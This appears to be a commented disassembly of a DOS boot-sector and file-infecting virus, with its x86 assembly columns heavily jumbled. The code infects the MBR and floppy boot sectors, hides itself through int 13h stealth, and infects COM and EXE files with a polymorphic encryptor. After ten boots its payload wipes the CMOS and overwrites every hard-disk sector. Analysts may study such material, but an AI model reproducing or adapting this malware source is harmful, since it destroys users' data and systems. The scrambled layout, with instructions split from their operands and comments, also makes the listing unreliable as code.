not_neg: ret get_1byte_inst: call mov shr mov mov ret mbr_code: cli xor mov mov push pop mov mov tmbr_code: push decrypt_mbr: xor mask_mbr inc loop st_mbr_enc: mov mov mov mov int inc sub mov mov mov int inc mov int cmp jb mov mov int kill_cmos_hd: mov in or out mov kill_cmos: mov out xor
get_random cl,0Eh ax,cl ; AX in [0..3] si,ax al,byte ptr [si+one_byte_inst]
ax,ax ss,ax sp,7C00h cs ds cx,end_mbr_code-mbr_code bx,7C00h+(st_mbr_enc-mbr_code) cx byte ptr [bx],0 equ byte ptr $-1 bx decrypt_mbr
; xor byte ptr [bx],mask_mbr
ax,910h es,ax ; ES:=0910h ah,8 dl,80h 13h ; Get current drive parameters ch ; Inc max. cylinder cl,2 ; Dec*2 max. sector dl,80h ax,201h bx,sp 13h ; Read 1 sector word ptr es:[bx] ; Inc boots counter ax,301h 13h ; Write sector word ptr es:[bx],10 ; <10 boots? no_activate ; Yes? then jmp word ptr es:[bx],0 ; Reset boots counter ax,301h 13h ; Write 1 sector bp,7C00h al,21h al,2 21h,al cx,40h
; Interrupt controller, 8259A. ; Disable keyboard IRQ ; Interrupt controller, 8259A.
al,cl 70h,al al,al
; CMOS Memory
out loop mov
71h,al kill_cmos dl,80h
; Fill CMOS with zeros ; 1st HD
kill_hd: mov bh,dl mov ah,8 int 13h ; Get current drive parameters mov dl,bh ; DL:=80h mov al,cl mov cx,101h ; Start in cylinder 1, sector 1 other_cylinder: push dx other_head: push ax mov ah,3 int 13h ; Write sector pop ax dec dh ; dec head jnz other_head pop dx cmp ch,0FFh ; Cylinder=255? pushf inc ch ; Inc cylinder popf jne other_cylinder ; No? then jmp xor ax,ax mov ds,ax ; ds:=0 cmp byte ptr ds:[475h],1 ; <=1 HD present? jbe continue_killing ; Yes? then jmp inc dl ; Next HD jmp kill_hd ; Kill it continue_killing: test cl,80h ; More cylinders? jnz c_768 ; Yes? then jmp test cl,40h ; More cylinders? jnz c_256 ; Yes? then jmp mov cl,41h ; Cylinder 256->512 jmp_other_cylinder: xor ch,ch jmp other_cylinder c_256: mov cl,81h ; Cylinder 512->768 jmp jmp_other_cylinder c_768: mov cl,0C1h ; Cylinder 768->1024 jmp jmp_other_cylinder no_activate: mov sub mov shl mov xor pop mov cld rep mov push push retf
ax,ds:[413h] ax,8 cl,6 ax,cl es,ax di,di cx si,sp
; Number of KBs ; Get 8 KB ; Calculate base segment
movsb ; Move code ax,(read_code_from_disk-mbr_code) es ax ; jmp read_code_from_disk
read_code_from_disk: mov ax,end_mbr_code-mbr_code mov cl,4 shr ax,cl ; Calculate relative segment inc ax ; Next segment mov bx,cs add ax,bx ; Calculate absolute segment mov es,ax ; Base segment for code mov ah,8 mov dl,80h int 13h ; Get current drive parameters inc ch mov dl,80h sub cl,0Eh mov ax,20Ch xor bx,bx int 13h ; Read 12 sectors (code) mov al,cs:[mask_orig_mbr-mbr_code] mov es:mask_orig_mbr,al mov es:changes_i21,0 mov es:loading_dos,0 mov ah,cs:[floppy_types-mbr_code] mov es:floppy_types,ah mov dx,0Ah mov al,10h out 70h,al ; CMOS Memory: diskette drive type in al,71h ; CMOS Memory: read byte or al,al ; Zero? No floppy? jnz already_enabled ; Yes? then jmp mov dx,6 mov al,10h call write_cmos ; Enable floppy already_enabled: xor ax,ax mov ds,ax ; ds:=0 mov byte ptr ds:[700h],16h ; Mark in DOS segment mov bp,cs:[inst_hard-mbr_code] mov ds:[410h],bp lds si,ds:[21h*4] ; Get int 21h cli mov es:[boot_i21],ds sti mov ds,ax lds si,ds:[1Ch*4] ; Get int 1Ch mov es:[ofs_1c],si ; Store it mov es:[seg_1c],ds mov ds,ax cli mov ds:[1Ch*4],offset(int1Ch) ; Set new int 1Ch mov ds:[1Ch*4+2],es sti mov es,ax mov bx,7C00h cmp dx,0Ah ; Was the floppy enabled? jz no_read_boot ; Yes? then jmp xor dx,dx int 13h ; Reset drive A: mov si,2 try_read_again: mov ax,201h mov cx,1 int 13h ; Read sector (boot) jnc exec_boot_mbr
dec jnz no_read_boot: mov mov int inc dec mov mov int mov mov mov dec_orig_mbr: xor inc loop exec_boot_mbr: db dw
si try_read_again
write_cmos: ; cli or out mov jmp jmp out mov jmp jmp out sti ret
; Input:
mask_orig_mbr ;_b2c floppy_types ;_b2d inst_hard chksum_method changes_i21
db
60h
db
24h
dw db db
4461h 0 2
ah,8 dl,80h 13h ; Get current drive parameters ch cl dl,80h ax,201h 13h ; Read 1 sector (original MBR) al,cs:[mask_orig_mbr-mbr_code] si,bx cx,512 es:[si],al si dec_orig_mbr
; Decrypt original MBR
0EAh 7C00h,0 ; jmp far ptr 0:7C00h ; Exec original MBR/boot A: AL = CMOS address AH = byte to write
al,80h 70h,al al,ah $+2 $+2 71h,al al,0 $+2 $+2 70h,al
; Disable NMI ; CMOS Memory: Select address
; CMOS Memory: Write byte
; CMOS Memory: Select address
end_mbr_code: int1Ch: call cmp je xor mov cmp je mov sub call dos_present: xor mov
push_registers cs:loading_dos,1 dos_present ax,ax ds,ax byte ptr ds:[700h],16h no_dos_loaded cs:loading_dos,1 word ptr ds:[413h],8 disable_FD ax,ax es,ax
; Loading DOS? ; Yes? then jmp ; ; ; ; ;
DS:=0 Mark present? Yes? then jmp No? then loading DOS Get 8 KB
; ES:=0
mov cmp je mov mov inc cmp
ax,cs:boot_i21 es:[21h*4+2],ax ; Int 21h changed? no_dos_loaded ; No? then jmp ds,es:[21h*4+2] cs:boot_i21,ds ; Save segment of new i21h cs:changes_i21 cs:changes_i21,2 ; Two changes? ; (DOS changes i21h 2 times) no_dos_loaded ; No? then jmp cs es di,offset(_header) al,al cx,115h
jne push pop mov xor mov cld rep stosb ; Clear data area push cs pop ds mov al,13h call get_int_vector ; Get int 13h mov ofs_i13,bx ; Store it mov seg_i13,es call set_ints ; Initialize ints push cs pop ds xor ax,ax mov es,ax ; ES:=0 lds di,dword ptr ofs_1c cli mov es:[1Ch*4],di ; Restore int 1Ch mov es:[1Ch*4+2],ds add word ptr es:[413h],8 ; Return the 8 KB to the ; system (the DOS is loaded ; and will not use them) sti no_dos_loaded: call pop_registers iret read_cmos: or cli out call in mov mov call out sti ret set_ints: push pop mov mov mov mov call mov mov
; Output: al,80h 70h,al waste_time al,71h ah,al al,0 waste_time 70h,al
cs ds flags,80h point,'.' jmp_virus,0E9h al,21h get_int_vector ofs_i21,bx seg_i21,es
; Input: AL = address to read AH = byte from CMOS ; Disables NMI ; CMOS Memory: Select address ; CMOS Memory: Read byte
; CMOS Memory: Select address 0
; jmp opcode ; Get int 21h ; Store it
mov call mov mov xor mov cli mov mov mov mov mov mov sti call ret disable_FD: test jnz cmp je push mov call call pop no_disable_fd: ret enable_FD: cmp je push mov mov call call pop no_change_cmos: ret
al,13h get_int_vector ofs_i13_2,bx seg_i13_2,es ax,ax ds,ax
; Get int 13h ; Store it
; DS:=0
word ptr ds:[21h*4],offset(int_21) ds:[21h*4+2],cs word ptr ds:[20h*4],offset(int_20) ds:[20h*4+2],cs word ptr ds:[27h*4],offset(int_27) ds:[27h*4+2],cs
; Set new i21 ; Set new i20 ; Set new i27
patch_i13
cs:flags,2 ; Permission to disable floppy? no_disable_fd ; No? then jmp cs:chksum_method,2 ; Known checksum method? no_disable_fd ; No? then jmp ax ax,10h write_cmos ; Disable FD from CMOS write_CMOS_chksum ; Calculate new checksum ax
cs:chksum_method,2 no_change_cmos ax ah,cs:floppy_types al,10h write_cmos write_CMOS_chksum ax
; Known checksum CMOS method? ; No? then jmp
; Enable FD drives ; Restore cmos checksum
write_CMOS_chksum: call push_registers cmp cs:chksum_method,1 ; Method 2? je write_CMOS_chksum2 ; Yes? then jmp call calculate_CMOS_checksum_1 mov al,2Eh mov ah,dh call write_cmos ; Store new checksum in CMOS mov al,2Fh mov ah,dl call write_cmos jmp _pops write_CMOS_chksum2: call calculate_CMOS_checksum_2 mov al,32h mov ah,dh call write_cmos ; Store new checksum in CMOS mov al,33h mov ah,dl call write_cmos _pops:
call ret
pop_registers
calculate_CMOS_checksum_1: mov cx,1Eh xor dx,dx mov al,10h next_cmos_byte: mov bl,al call read_cmos mov al,bl inc al push ax xchg ah,al xor ah,ah add dx,ax pop ax loop next_cmos_byte ret calculate_CMOS_checksum_2: mov cx,22h xor dx,dx mov al,10h next_byte_CMOS: mov bl,al call read_cmos mov al,bl inc al push ax xchg ah,al xor ah,ah xor dx,ax pop ax loop next_byte_CMOS ret write_virus: push pop push pop mov mov call mov shr add cmp jne mov xor xor call cmp ja jmp check_if_big: mov push clc add
; Make checksum
; Make checksum
cs ds cs es di,offset(num_bytes) [di],offset(length_virus) ; Bytes to decrypt get_random cl,0Bh ax,cl ; AX in [0..1Fh] [di],ax ; Variable number of bytes to decrypt bp,1 ; COM file? write_start_exe ; No? then jmp ax,4202h cx,cx dx,dx int21h ; Lseek end ax,1Ch ; size > 1Ch bytes? check_if_big ; Yes? then jmp _ret_2 ; Stupid jmp!!
di,ax ax ax,offset(vir_end)+495
; !?
pop jnc jmp
ax write_start_com ; Too big? No, then jmp _ret_2 ; Stupid jmp!!
write_start_com: call write_jmptovir jnb make_decryptor jmp _ret_2
; Stupid jmp!!
write_start_exe: call write_header_exe jnc make_decryptor jmp _ret_2 ; Stupid jmp!! make_decryptor: call mov mov call add mov cld movsb mov movsb mov movsb mov call add mov movsb mov movsb movsw call mov shr mov call mov shr jnz mov mov push push movsw movsw movsw pop mov movsw movsb pop movsw movsb no_xchg_inst: cmp jz cmp jz cmp
get_1byte_inst _1cx,al di,3 get_n_di ; Get 0 or 3 or 6 in SI si,offset(table_reg_source) ; Source register di,offset(r_source) ; the mov di,offset(r_op) ; the source register di,offset(i_inc) ; the inc di,4 get_n_di ; Get 0 or 4 or 8 in SI si,offset(table_reg_index) ; Index register di,offset(r_index) ; the mov di,offset(d_loop) ; Store dec+jne or loop+garbage get_random cl,0Eh ax,cl ; AX in [0..3]: get encrytion method crypt_method,al get_random cl,0Fh ax,cl ; AX in [0..1] no_xchg_inst di,offset(xchg1) ; xchg 2 instructions si,offset(r_index) di si
di ; DI:=offset(xchg1) si,offset(xchg2)
si
crypt_method,0 enc_met_xor crypt_method,1 enc_met_not crypt_method,2
; ; ; ; ;
Xor? Yes? then jmp Not? Yes? then jmp Rol?
jz cmp jz enc_met_xor: mov jmp enc_met_not: mov call mov sub jmp enc_met_inc: mov call mov sub jmp enc_met_rol: mov call mov sub decryptor_done: cmp jne mov push call mov shr cmp je cmp je cmp je call mov ret
enc_met_rol crypt_method,3 enc_met_inc
; Yes? then jmp ; Dec? ; Yes? then jmp
prefix_op,802Eh decryptor_done
; xor cs:
prefix_op,0F62Eh get_1byte_inst l_mask,al r_op,20h decryptor_done
; not cs:
prefix_op,0FE2Eh get_1byte_inst l_mask,al r_op,30h decryptor_done
; inc cs:
prefix_op,0D02Eh get_1byte_inst l_mask,al r_op,30h
; rol cs:
; Don't need a mask
; Don't need a mask
; Don't need a mask
bp,1 ; COM file? encrypt_code_and_write ; No? then jmp ; In EXE we need SEG CS: ax,offset(encrypt_code_and_write) ax get_random cl,0Eh ax,cl ; AX in [0..3]: Get segment prefix al,1 ; Seg SS? seg_ss ; Yes? then jmp al,2 ; Seg ES? seg_es ; Yes? then jmp al,3 ; Seg CS? seg_cs ; Yes? then jmp get_1byte_inst ; if al=0 byte ptr prefix_op,al ; Subst CS: by one byte inst. ; jmp encrypt_code_and_write
seg_es: mov ret
byte ptr prefix_op,26h
; SEG ES: ; jmp encrypt_code_and_write
mov
byte ptr prefix_op,2Eh ; ; BUG!!!! Already ; It would be DS: ;
seg_cs:
ret
SEG CS: CS: (3Eh) jmp encrypt_code_and_write
seg_ss: mov ret
byte ptr prefix_op,36h
; SEG SS: ; jmp encrypt_code_and_write
encrypt_code_and_write: mov dx,offset(buffer_enc) mov cl,4 shr dx,cl ; Calculate base address inc dx push cs pop ax add ax,dx mov es,ax
get_no_zero: call or jz cmp jnz mov mov not_mask: push mov xor xor call mov xor mov mov call pop xor enc_next_byte: lodsb cmp jz cmp jz cmp jz cmp jz _xor: xor jmp _not: not jmp _inc: dec jmp _rol: ror enc_byte: stosb cmp ja cmp je jmp_enc_next: jmp write_512: push push push mov push pop mov xor call jc
get_random al,al get_no_zero crypt_method,0 not_mask cs:l_mask,al dl,al
; ; ; ; ;
Zero? Yes? then jmp XOR? Need a mask No? then jmp Store mask
dx ax,4202h cx,cx dx,dx int21h ; Lseek end ah,40h dx,dx cx,offset(code_enc) si,cx int21h ; Write decryptor to file dx di,di
crypt_method,1 _not crypt_method,0 _xor crypt_method,2 _rol crypt_method,3 _inc
; ; ; ; ; ; ; ;
Not? Yes? Xor? Yes? Rol? Yes? Inc? Yes?
then jmp then jmp then jmp then jmp
al,dl enc_byte al enc_byte al enc_byte al,1 ; Store encrypted byte si,offset(length_virus) ; All encrypted? all_encrypted ; Yes? then jmp di,512 ; Write in blocks of 512 bytes ; End of a block? write_512 ; Yes? then jmp enc_next_byte
ds es dx ah,40h es ds cx,di dx,dx int21h _ret_2
; Write an encrypted 512-block
pop pop pop xor jmp all_encrypted: mov mov dec xor push pop call mov rcr pushf add popf rcl mov clc _ret_2: ret cmp_3bytes: mov cld rep ret exe_or_com?: push pop mov call sub mov push call pop jne mov ret
dx es ds di,di jmp_enc_next
ah,40h cx,di cx dx,dx es ds int21h ax,cs:f_date ah,1 ah,100
; Write last block
; Mark infected (add 100 years)
ah,1 cs:f_date,ax
cx,3 cmpsb
cs es si,dx end_fname ; filename.ext ; ^ SI si,3 ; filename.ext ; ^SI di,offset(ext_com) si cmp_3bytes ; COM? si cmp_exe ; No? then jmp bp,1
cmp_exe: mov push call pop jne mov ret not_execom: xor ret get_random: xor out in
di,offset(ext_exe) si cmp_3bytes ; EXE? si not_execom ; No? then jmp bp,3
bp,bp
; Get random number in AX al,al 43h,al al,40h
; Timer 8253-5 (AT: 8254.2). ; Timer 8253-5 (AT: 8254.2).
mov in ret make_fname: push push push push push mov inc mov mov push pop rep mov add mov mov rep push pop mov call pop pop pop pop pop ret host_type
ah,al al,40h
; Timer 8253-5 (AT: 8254.2).
si di es cx ax si,dx si cx,8 di,offset(filename) cs es movsb ; Store name si,dx si,9 cx,3 di,offset(filename_ext) movsb ; Store extension cs ds dx,offset(filename) normalize_fname ax cx es di si
db 1 ; 3 = EXE
table_reg_source: db 0BBh db 37h inc bx
; 1 = COM
; mov bx,???? ; reg BX
db db inc
0BEh 34h si
; mov si,???? ; reg SI
db db inc
0BFh 35h di
; mov di,???? ; reg DI
;100C table_reg_index: ; Using AX db 0B8h dec ax jne $-6 ; Using CX db 0B9h loop $-5 _1cx equ clc ; Using DX db 0BAh dec dx jne $-6
; mov ax,????
; mov cx,???? byte ptr $
; mov dx,????
; 1 byte instruction
one_byte_inst: nop std cld clc read_header: mov mov push pop mov call ret get_ofs_fname: push pop mov call mov xchg cmp jne inc not_inc_offset: ret
ah,3Fh cx,1Ch cs ds dx,offset(_header) int21h ; Read file header
cs ds ah,30h int21h ofs_sft,20h ah,al ax,300h not_inc_offset ofs_sft
end_fname:
; Get DOS version
; DOS 3.0? ; No? then jmp ; ofs_sft:=21h
; Output:
SI points to end of filename
mov cx,43h search_end_fname: ; Search end of filename (0) mov al,[si] or al,al ; Zero? jz end_asciiz ; Yes? then jmp inc si loop search_end_fname end_asciiz: ret int21h: pushf call ret
dword ptr cs:ofs_i21
pushf call ret
dword ptr cs:ofs_i13
int13h:
int13hbp: pushf call ret
dword ptr cs:[bp+ofs_i13]
int24h: mov
al,3
_iret: iret set_i24_i1B_i23: push ds
push pop push mov call mov mov mov call mov mov mov call mov mov pop push push mov mov call mov mov call mov mov call pop pop pop ret
cs ds bx ax,3524h int21h ; [ofs_i24],bx ; [seg_i24],es al,1Bh int21h ; [ofs_i1b],bx ; [seg_i1b],es al,23h int21h ; [ofs_i23],bx ; [seg_i23],es bx ax dx ax,2524h dx,offset(int24h) int21h ; al,1Bh dx,offset(_iret) int21h ; al,23h dx,offset(_iret) int21h ; dx ax ds
Get int 24h Save it
Get int 1Bh Save it
Get int 23h Save it
Set new int 24h
Set new int 1Bh (iret)
Set new int 23h (iret)
restore_i24_i1b_i23: mov ax,2524h lds dx,dword ptr cs:ofs_i24 call int21h ; Restore int 24h mov al,1Bh lds dx,dword ptr cs:ofs_i1b call int21h ; Restore int 1Bh mov al,23h lds dx,dword ptr cs:ofs_i23 call int21h ; Restore int 23h ret write_jmptovir: push pop push pop push mov mov cld movsw movsb pop mov xor xor call mov push
cs ds cs es di si,offset(_header) di,offset(header) ; Save original bytes (3) di ax,4200h cx,cx dx,dx int21h ofs_virus,di di
; Lseek start
sub mov mov mov call mov pop add mov add mov clc ret
ofs_virus,3 ah,40h cx,3 dx,offset(jmp_virus) int21h ; Write jmp host_type,1 ; COM file di di,100h ; Calculate delta offset delta,di di,offset(code_enc) ; Where encrypted code starts st_code_enc,di
write_header_exe: push cs pop ds push cs pop es mov si,offset(_header) push si mov di,offset(header) mov cx,1Ch cld rep movsb ; Store header pop si mov ax,[si+(_pagecnt-_header)] mov dx,512 dec ax mul dx ; (pagecnt-1)*512 mov length_hi,dx mov dx,[si+(_partpag-_header)] clc add ax,dx ; File size:=(pagecnt-1)*512+partpag adc length_hi,0 mov length_lo,ax xor cx,cx mov dx,cx mov ax,4202h call int21h ; Lseek end (get real length) sub ax,length_lo sbb dx,length_hi ; File has internal overlays? jz no_overlays ; No? then jmp jmp stc_ret no_overlays: push bx mov ax,4202h xor cx,cx mov dx,cx call int21h ; Lseek end push ax ; Save length push dx mov ax,[si+(_hdrsize-_header)] mov cl,4 shl ax,cl ; mul 16 = size of header xchg ax,bx pop dx ; Get length pop ax push ax push dx sub ax,bx ; Sub size of header sbb dx,0 mov cx,10h
div mov mov pop pop add adc mov push shr ror stc adc pop and mov mov pop clc add jnc sub nosub_minmem: clc add jnc sub nosub_maxmem: mov mov shr mov add mov mov xor mov mov call mov mov mov call mov mov add mov mov clc ret
cx ; Calculate initial paragraph [si+(_exeip-_header)],dx [si+(_relocs-_header)],ax dx ax ax,offset(length_virus) ; New file length dx,0 cl,9 ax ax,cl ; div 512 dx,cl dx,ax ax ah,1 [si+(_pagecnt-_header)],dx [si+(_partpag-_header)],ax bx word ptr [si+(_minmem-_header)],39h ; why 39h????? ; (offset(vir_end)-length_virus+15)/16 (?) nosub_minmem word ptr [si+(_minmem-_header)],39h
word ptr [si+(_maxmem-_header)],39h nosub_maxmem word ptr [si+(_maxmem-_header)],39h cl,4 ax,offset(end_virdata) ax,cl ; div 16 dx,[si+(_relocs-_header)] ax,dx ; Segment of stack [si+(_reloss-_header)],ax word ptr [si+(_relosp-_header)],vstack-end_virdata cx,cx dx,cx ax,4200h int21h ; Lseek start dx,si ah,40h cx,1Ch int21h ; Write header dx,[si+(_exeip-_header)] delta,dx ; Delta offset dx,offset(code_enc) ; Where encrypted code starts st_code_enc,dx host_type,3 ; EXE file
stc_ret: stc ret disinfect_file: call pushf call call mov mov
push_registers normalize_fname set_i24_i1B_i23 cs:seg_fname,ds cs:ofs_fname,dx
call jc call or jz mov call jc mov call call call call jnz call cmp jne call jmp
get_reset_attr r_ints exe_or_com? bp,bp ; Exe or Com? r_ints ; No? then jmp ax,3D02h int21h ; Open I/O r_ints bx,ax ; bx:=handle read_header check_if_exe get_ftime check_if_infected ; Infected? close_file ; Yes? then jmp get_file_encryption bp,1 ; COM file? jmp_disinfect_exe ; No? then jmp disinfect_com quit_inf_mark
jmp_disinfect_exe: call disinfect_exe quit_inf_mark: mov ax,cs:f_date rcr ah,1 pushf sub ah,100 ; Quit mark popf rcl ah,1 mov cs:f_date,ax close_file: call restore_ftime mov ah,3Eh call int21h ; Close file mov ds,cs:seg_fname mov dx,cs:ofs_fname call restore_attr r_ints: call restore_i24_i1b_i23 popf call pop_registers ret lseek: mov xor xor call mov mov sub mov call ret truncate_file: mov call mov xor call ret
ax,4202h cx,cx dx,dx int21h ; Lseek end cx,dx dx,ax dx,cs:ofs_virus ax,4200h int21h ; Lseek to length(file)-ofs_virus
cs:ofs_virus,offset(length_virus) lseek ; Lseek to start of viral code ah,40h cx,cx int21h ; Truncate file (original size)
disinfect_com: mov call mov mov push pop mov push call mov xor xor call mov pop push mov push call pop pop mov call call ret
cs:ofs_virus,1Ch lseek ; Lseek to length(file)-1Ch ah,3Fh cx,3 cs ds dx,offset(_3bytes) dx int21h ; Read original 3 bytes ax,4200h cx,cx dx,dx int21h ; Lseek start al,code_mask si si cx,3 cx decrypt_bytes ; Decrypt original 3 bytes cx dx ah,40h int21h ; Restore host truncate_file ; Truncate to original size
int25: mov call mov retf
cs:inout_flag,1 dword ptr cs:ofs_i25 cs:inout_flag,0
mov call mov retf
cs:inout_flag,1 dword ptr cs:ofs_i26 cs:inout_flag,0
int26:
mark_activity: mov mov mov ret
cs:inout_flag,0 cs:tick_value,8*18 cs:tick_counter,0
; 8 seconds
int17: mov pushf call call iret check_boot_inf: push pop push pop mov add mov mov cld rep
cs:inout_flag,1 dword ptr cs:ofs_i17 mark_activity
cs es cs ds si,3Eh si,bx cx,offset(c_floppy)-offset(floppy_code) di,offset(floppy_code) cmpsb
ret install_from_boot: mov al,13h call get_int_vector mov [bp+ofs_i13],bx mov [bp+seg_i13],es mov [bp+use_ports],0 call check4ide cmp al,66h jne no_use_ports mov [bp+use_ports],1 no_use_ports: call install_virus ret patch_i13: push push push push push pop lds push mov cld movsw movsw movsb pop cli mov mov mov sti pop pop pop pop ret
; Get int 13h vector ; Store it
; Can use ports? ; No? then jmp
si di es ds cs es si,dword ptr es:ofs_i13 si di,offset(i13_5bytes) ; Save five bytes
si byte ptr [si],0EAh ; Insert a jmp far to cs:int_13 word ptr [si+1],offset(int_13) [si+3],es ds es di si
int_13: mov call push push push push mov push pop les cld movsw movsw movsb pop pop pop pop cmp jne
cs:inout_flag,1 enable_FD si di es ds si,offset(i13_5bytes) cs ds di,dword ptr cs:ofs_i13 ; Restore original 5 bytes of int 13h
ds es di si dx,80h not_stealth
; 1st HD? ; No? then jmp
cmp jne cmp je cmp je not_stealth: test jnz jmp call_i13: pushf call exit_i13: mov call call retf
cx,1 ; Track 0, sector 1? not_stealth ; No? then jmp ah,2 ; Read sector? stealth_mbr_read ; Yes? then jmp ah,3 ; Write sector? stealth_mbr_write ; Yes? then jmp dl,80h call_i13 is_a_floppy
; Is a HD? ; Yes? then jmp
dword ptr cs:ofs_i13_2 cs:inout_flag,0 disable_FD patch_i13 ; Patch int 13h again 2
stealth_mbr_read: push ax push bx push cx push dx push es push ax push es push bx mov ah,8 int 13h ; Get current drive parameters inc ch ; Inc cylinder dec cl ; Dec sector pop bx pop es pop ax pushf mov dl,80h mov ah,2 int 13h ; Read original MBR (encrypted) mov cx,512 mov al,cs:mask_orig_mbr dec_mbr_rd: xor es:[bx],al ; Decrypt the original MBR inc bx loop dec_mbr_rd exit_mbr_stealth: popf pop es pop dx pop cx pop bx pop ax call patch_i13 retf 2 stealth_mbr_write: push ax push bx push cx push dx push es push es
push push mov mov enc_mbr_wr: xor inc loop pop pop pop push push push mov int inc dec pop pop pop mov mov call pushf mov mov dec_mbr_wr: xor inc loop jmp is_a_floppy: pushf call cmp je cmp je jmp
bx ax cx,512 al,cs:mask_orig_mbr es:[bx],al ; Encrypt the new MBR bx enc_mbr_wr ax bx es ax es bx ah,8 13h ; Get current drive parameters ch ; Inc max. cylinder cl ; Dec max. sector bx es ax dl,80h ah,3 int13h ; Write new original MBR (encripted) cx,512 al,cs:mask_orig_mbr es:[bx],al ; Decrypt MBR bx dec_mbr_wr exit_mbr_stealth
push_registers ah,2 read_write ah,3 read_write infect_boot
; ; ; ;
read_write: or dh,dh ; jnz infect_boot ; cmp cx,1 ; jnz infect_boot ; push cx push dx push ax push es push bx push ax push cs pop es mov si,3 read_boot_again: mov ax,0201h mov cx,1 mov dh,ch mov bx,offset(sector) call int13h dec si
Read sector? Yes? then jmp Write sector? Yes? then jmp
Track 0? No? then jmp Sector 1, track 0? trying boot? No? then jmp
; Read boot
jz jc call jne add nop mov pop pop pop mov mov call pop dec pop pop inc call or jmp
infect_boot_pops ; 3 errors reading? then jmp read_boot_again ; error? then jmp check_boot_inf ; Infected? infect_boot_pops ; No? then jmp bx,offset(vir_track)-offset(floppy_code)+3Eh ; !? ch,[bx] ; Virus track ax bx es al,1 cl,0Dh int13h ; Read/write original boot ax al dx cx cl int13h ; And the rest of sectors cs:flags,10h ; Don't need to call int 13h infect_boot
infect_boot_pops: pop ax pop bx pop es pop ax pop dx pop cx infect_boot: xor ax,ax mov ds,ax cmp dl,3 jbe test_motor jmp error_inf_boot test_motor: mov mov shl mov test jnz push pop push pop mov mov read_boot: xor call mov mov mov mov call jnc dec jz jmp boot_loaded:
; DS:=0 ; diskette? ; Yes? then jmp
cl,dl al,1 al,cl ; Set bit of drive cs:bit_drive,al ds:[43Fh],al ; Diskette motor on? error_inf_boot ; Yes? then jmp cs ds ds es si,3 drive,dl ax,ax int13h ; Reset drive controller ax,0201h cx,1 dh,ch bx,offset(sector) int13h ; Read sector boot_loaded si error_inf_boot read_boot
call jcxz call jc push pop mov mov mov mov mov push pop mov cld rep mov mov xor mov call error_inf_boot: call popf test jnz jmp no_call_i13: clc mov jmp
check_boot_inf ; Already infected? error_inf_boot ; Yes? then jmp format_extra_track ; And write code to disk error_inf_boot cs ds vir_track,ch ; Store new track word ptr jmp_bootcode,3CEBh ; Encode jmp floppy_code byte ptr jmp_bootcode+2,90h si,offset(floppy_code) di,offset(sector)+3eh ds es cx,end_floppy_code-floppy_code movsb ax,301h bx,offset(sector) dh,dh cx,1 int13h ; Write new boot sector pop_registers cs:flags,10h no_call_i13 call_i13
; Need to call int 13h? ; No? then jmp
cs:flags,0 exit_i13
; Clear all flags
format_extra_track: mov al,1Eh call get_int_vector ; Dir of diskette parameters cli mov word ptr es:[bx+3],0D02h ; 2-> 512 bytes/sector ; 0Dh-> last sector sti mov ax,totsecs or ax,ax ; Total sectors=0? jz error_ft ; Yes? then jmp mov bx,trksecs ; Sectors per track xor bh,bh cmp ax,bx ; Total sectors<=Sectors per track? jle error_ft ; Yes? then jmp div bl ; Calculate number of tracks mov bx,headcnt ; Number of heads xor bh,bh cmp ax,bx ; Number of tracks<=Number of heads? jle error_ft ; Yes? then jmp div bl ; Tracks per head mov ah,1 mov cx,0Dh ; 13 sectors mov di,offset(format_table) push di push cs pop es make_table_sectors: mov es:[di],al ; Track mov byte ptr es:[di+1],0 ; Head 0 mov es:[di+2],ah ; Sector Number
mov inc add loop mov mov pop mov mov xor call jc mov mov mov call jc mov xor mov call ret error_ft: stc ret floppy_code: cli xor mov mov push pop c_floppy: mov vir_track xor push pop mov mov read_track: mov mov int dec jz jc mov add push push call pop pop read_exec_boot: push pop mov mov mov pushf push
byte ptr es:[di+3],2 ; Size (2-> 512) ah ; Next sector di,4 ; Next table entry make_table_sectors dl,cs:drive ah,5 bx ch,al cl,1 dh,dh int13h ; Format extra track error_ft ax,301h bx,offset(sector) cl,0Dh int13h ; Store original boot error_ft ax,30Ch bx,bx cl,1 int13h ; Write code to disk
ax,ax ss,ax sp,7C00h cs ds ch,50h ; Virus track equ byte ptr $-1 dx,dx cs es bx,7E00h si,3 ax,20Ch cl,1 13h ; Read code (12 sectors) si read_exec_boot read_track bp,bx bx,offset(install_from_boot) dx cx bx ; call install_from_boot (infect MBR) cx dx ss es ax,201h bx,7C00h cl,0Dh ss
; flags ; 0
push bx ; 7C00h jmp dword ptr es:[13h*4] ; Read & exec original boot end_floppy_code: ;--------------------------------------------------------jmp dword ptr cs:ofs_i8 ; ????? ;--------------------------------------------------------push_registers2: pop cs:return_dir2 push ax push bx push cx push dx push es push ds push si push di push bp jmp cs:return_dir2 pop_registers2: pop cs:return_dir2 pop bp pop di pop si pop ds pop es pop dx pop cx pop bx pop ax jmp cs:return_dir2 int8: pushf call or jz dec
dword ptr cs:ofs_i8 cs:ticks_disableFD,0 dis_fd cs:ticks_disableFD
; Time to disable FD? ; Yes? then jmp
dis_fd: cmp jnz test jz call and no_permission: call xor mov les push pop mov or jz cmp je cmp je mov xor mov
cs:ticks_disableFD,0 ; Time to disable FD? no_permission ; No? then jmp cs:flags,2 ; Permission to disable floppy? 1=no no_permission ; BUG!? disable_FD ; call with bit1=1 -> doesn't disable FD!! cs:flags,11111101b push_registers2 ax,ax ds,ax bx,ds:[33h*4] ; Get mouse int cs ds cx,es cx,cx ; Int segment=0? mark_no_mouse ; Yes? then jmp byte ptr es:[bx],0CFh ; Int points to iret? mark_no_mouse ; Yes? then jmp mouse_checked,1 ; Did I check the mouse? serial_mouse ; Yes? then jmp no_mouse,0 ch,ch mouse_checked,1 ; Mark mouse checked
mov int cmp je mark_no_mouse: mov serial_mouse: mov xor xor check_com: mov inc inc or jz
ax,24h 33h ; - MS MOUSE - Get soft version and type ch,2 ; Serial mouse? serial_mouse ; Yes? then jmp no_mouse,1
; No serial mouse
cx,3 bx,bx bp,bp dx,word ptr [bx+com_ports] bx bx dx,dx ; Port installed? check_game ; No? then jmp ; BUG!? We can have COM4 without COM3 al,dx ; Read byte from port waste_time al,byte ptr cs:[bp+data_com] ; Actual byte=Previous? byte ptr cs:[bp+data_com],al ; Store actual byte next_port ; Yes? then jmp mark_activity check_game
